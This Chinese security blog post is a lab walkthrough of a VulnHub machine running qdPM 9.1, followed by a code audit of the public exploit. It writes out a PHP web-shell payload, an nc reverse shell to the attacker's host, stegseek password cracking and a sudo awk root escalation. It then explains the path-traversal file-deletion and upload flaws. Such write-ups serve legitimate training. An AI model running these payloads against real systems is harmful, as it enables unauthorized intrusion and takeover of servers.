大余每日一攻防DRIPPING BLUES-1(十二)
2023-12-12 16:41:26 Author: www.freebuf.com(查看原文) 阅读量:3 收藏

简介

每日一攻防是由全球安全研究员 VulnHub 提供的日常实战综合环境。大余安全将按照顺序选择 VulnHub 提供的渗透测试靶场,为网络安全爱好者、渗透测试从业者和安全研究员提供每日综合性的攻击和防御挑战。该项目的目标是促进参与者的技能提升,使他们更好地理解实际攻击和防御场景。

每日一攻防特色:
环境攻破:以简单直白的方式攻破每日选择的渗透测试环境。
代码审计:进行攻防分析,结合代码审计,深入挖掘漏洞和强化防御。

作者:大余

一、网络枚举

公司IP太多了,用别的工具扫描:railgun
1702370266_65781bda9cf6320a9fd8b.png!small?1702370267600
发现ip地址:192.168.3.78,需要工具github搜下就能找到。

二、Web信息收集

1702370271_65781bdf9906761f25c3f.png!small?1702370272174
qdPM | Login登陆口。

1702370279_65781be72edb7d6876731.png!small?1702370279848

qdPM 9.1未授权漏洞!!

三、未授权读取数据库

查找https://www.exploit-db.com/搜索下qdpm9.1是否存在可利用的exp,发现存在未授权访问漏洞,可以直接读取/core/config/databases.yml文件,尝试读取下文件信息,获取到数据库账户名和密码:
1702370285_65781bed89104bcc3046a.png!small?1702370286164
提示未开启数据库服务!!

四、stegseek获取图片隐藏信息

目录枚举发现:
1702370290_65781bf2a2d4d51d17fa8.png!small?1702370291306

http://192.168.3.78/secret/

发现在/secret目录下存在一张图片:
1702370295_65781bf7cf2a5e58477ad.png!small?1702370296898

steghide info doubletrouble.jpg

1702370301_65781bfd64fc8532a50de.png!small?1702370302274
发现是存在隐藏信息的,但是缺少密码无法获取出来!

1702370306_65781c0283923aef1a6de.png!small?1702370307396
stegseek提取:

stegseek --crack doubletrouble.jpg /root/Desktop/rockyou.txt dayu.txt

1702370312_65781c0815854f774223b.png!small?1702370313699
秒提取!!获得信息。

五、qdpm后门漏洞

获得系统登陆的账号和密码:

[email protected]
otis666

1702370317_65781c0d1c1aa7e7b86fc.png!small?1702370318006

后使用qdpm9.1的后门漏洞:
1702370322_65781c125f6172b96a854.png!small?1702370323254
还是挺多可以利用的:用最新的
1702370327_65781c175bca54376f146.png!small?1702370329064

python 50944.py -url http://192.168.3.78/ -u [email protected] -p otis666

1702370332_65781c1c1ed284828d889.png!small?1702370333010
上传了一个后门程序到网站,可以用来操作远程命令执行。现在还需要反弹Shell:
1702370336_65781c2082ce466ceefc9.png!small?1702370337216

http://192.168.3.78/uploads/users/325292-backdoor.php?cmd=nc -e /bin/bash 192.168.3.10 5566

python -c 'import pty; pty.spawn("/bin/bash")'

1702370341_65781c25a1b84dd90a678.png!small?1702370342482
成功拿到反弹shell!

六、提权

1702370347_65781c2bf122142246f97.png!small?1702370348756
git提示:

sudo awk 'BEGIN {system("/bin/sh")}'

1702370355_65781c3389050342acf59.png!small?1702370356519
这里意思是不存在最终答案,还有一个项目环境!!

nc 192.168.3.10 8888 < doubletrouble.ova
nc -lvvp 8888 > doubletrouble.ova

1702370361_65781c392eff2b3a92303.png!small?1702370361788
接下来大家去操作下,思路是sql注入拿到数据库,数据库拿到账号密码获取ssh登录,最后/usr/lib/eject/dmcrypt-get-device提权即可。

七、代码审计

exp分析:exp的main()函数,在登录后获取一系列参数后调用了req()函数,因此主要分析exp的代码中的req函数

def req(
    userid,
    username,
    csrftoken_,
    EMAIL,
    HOSTNAME,
    ):
    request_1 = multifrm(
        userid,
        username,
        csrftoken_,
        EMAIL,
        HOSTNAME,
        '.htaccess',
        )
    new = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
                                , files=request_1)
    request_2 = multifrm(
        userid,
        username,
        csrftoken_,
        EMAIL,
        HOSTNAME,
        '../.htaccess',
        )
    new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
                                 , files=request_2)
    request_3 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, ''),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[photo]': ('backdoor.php',
                         '<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); echo $cmd." "; system($cmd); echo "</pre>"; die; }?>'
                         , 'application/octet-stream'),
        }
    cprint(request_3, 'red')
    upload_req = session_requests.post(HOSTNAME
            + 'index.php/myAccount/update', files=request_3)

在这个函数中,可以看到执行了三个请求,而在前两个请求中都调用了multifrm()函数:

def multifrm(
    userid,
    username,
    csrftoken_,
    EMAIL,
    HOSTNAME,
    uservar,
    ):
    request_1 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, uservar),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[remove_photo]': (None, '1'),
        }
    cprint(request_1, 'green')
    return request_1

结合req()函数的请求可以发现,request_1请求的users[photo_preview]参数为.htaccess,request_2请求的users[photo_preview]参数为../.htaccess

仔细观察这两个请求,可以发现这两个请求都访问了index.php/myAccount/update页面,也就是用户信息更改页面。

这段代码的主要目的是利用qdPM项目中的一个路径遍历漏洞,具体来说,在上传用户头像的功能中存在的路径遍历漏洞。攻击者通过利用这个漏洞,上传包含恶意 PHP 代码的文件,实现远程代码执行!
1702370371_65781c43660c58f4d1c37.png!small?1702370371937

if($form['remove_photo']->getValue()==1 && strlen($form['photo_preview']->getValue())>0)
{
    unlink(sfConfig::get('sf_upload_dir') . '/users/' . $form['photo_preview']->getValue());
    $form->setFieldValue('photo','');
}

1702370376_65781c4877322a99d2ac5.png!small?1702370377499
在这个代码段中241行处,如果$form['remove_photo']->getValue()返回1且$form['photo_preview']->getValue()不为空,就会执行unlink()函数删除用户头像文件。这是一个潜在的风险,因为用户可能在提交表单时篡改这些值,导致删除任意文件。

而进行到这一步的条件是remove_photo的值为1,并且photo_preview值的长度要大于0,从上面的分析可以看出,multifrm()函数已经默认每个请求的remove_photo值为1,那么在request_1和request_2中,这两个条件都满足。也就是说,在request_1中,users目录下的.htaccess文件会被删除。在request_2中,利用..绕过,删除了根目录下.htaccess文件。
1702370381_65781c4dc43d53b70c38b.png!small?1702370382331
在 core/apps/qdPM/modules/users/actions/actions.class.php文件的第217-237行,对上传的图片进行了处理,也就是request_3的users_photo参数的内容会经过这个逻辑。
1702370388_65781c540599af9222f01.png!small?1702370389142
可操作写入php文件的点就是在224行和225行的位置。
move_uploaded_file()函数的作用是将上传的文件移动到指定的位置,那么在这里的意思是将用户上传的图片移动到users目录中。因此,exp中的backdoor.php可以上传到users目录中,而backdoor.php的名称可以通过再次请求index.php/myAccount,名称会在photo_preview参数中显示,或者直接访问uploads/users,该站还存在目录遍历漏洞,直接获取后门上传后的文件名。

通过每日一攻防,我致力于共同深探网络安全的奥秘,助力每位参与者成为网络安全领域的技术高手。立即加入大余安全,共同迎接每日新的挑战!

扫描下方二维码添加小助手,进群和大余老师一起技术探讨交流吧!

1701847681_657022811043209291287.png!small?1701847682244

欢迎大家进入大余安全回忆录帮会,每周二&五定期更新《安全开发》、《渗透测试》系列文章,帮助大家从0基础到入门。

1701847704_65702298ccb7a072cd4c7.png!small?1701847708052


文章来源: https://www.freebuf.com/vuls/386392.html
如有侵权请联系:admin#unsafe.sh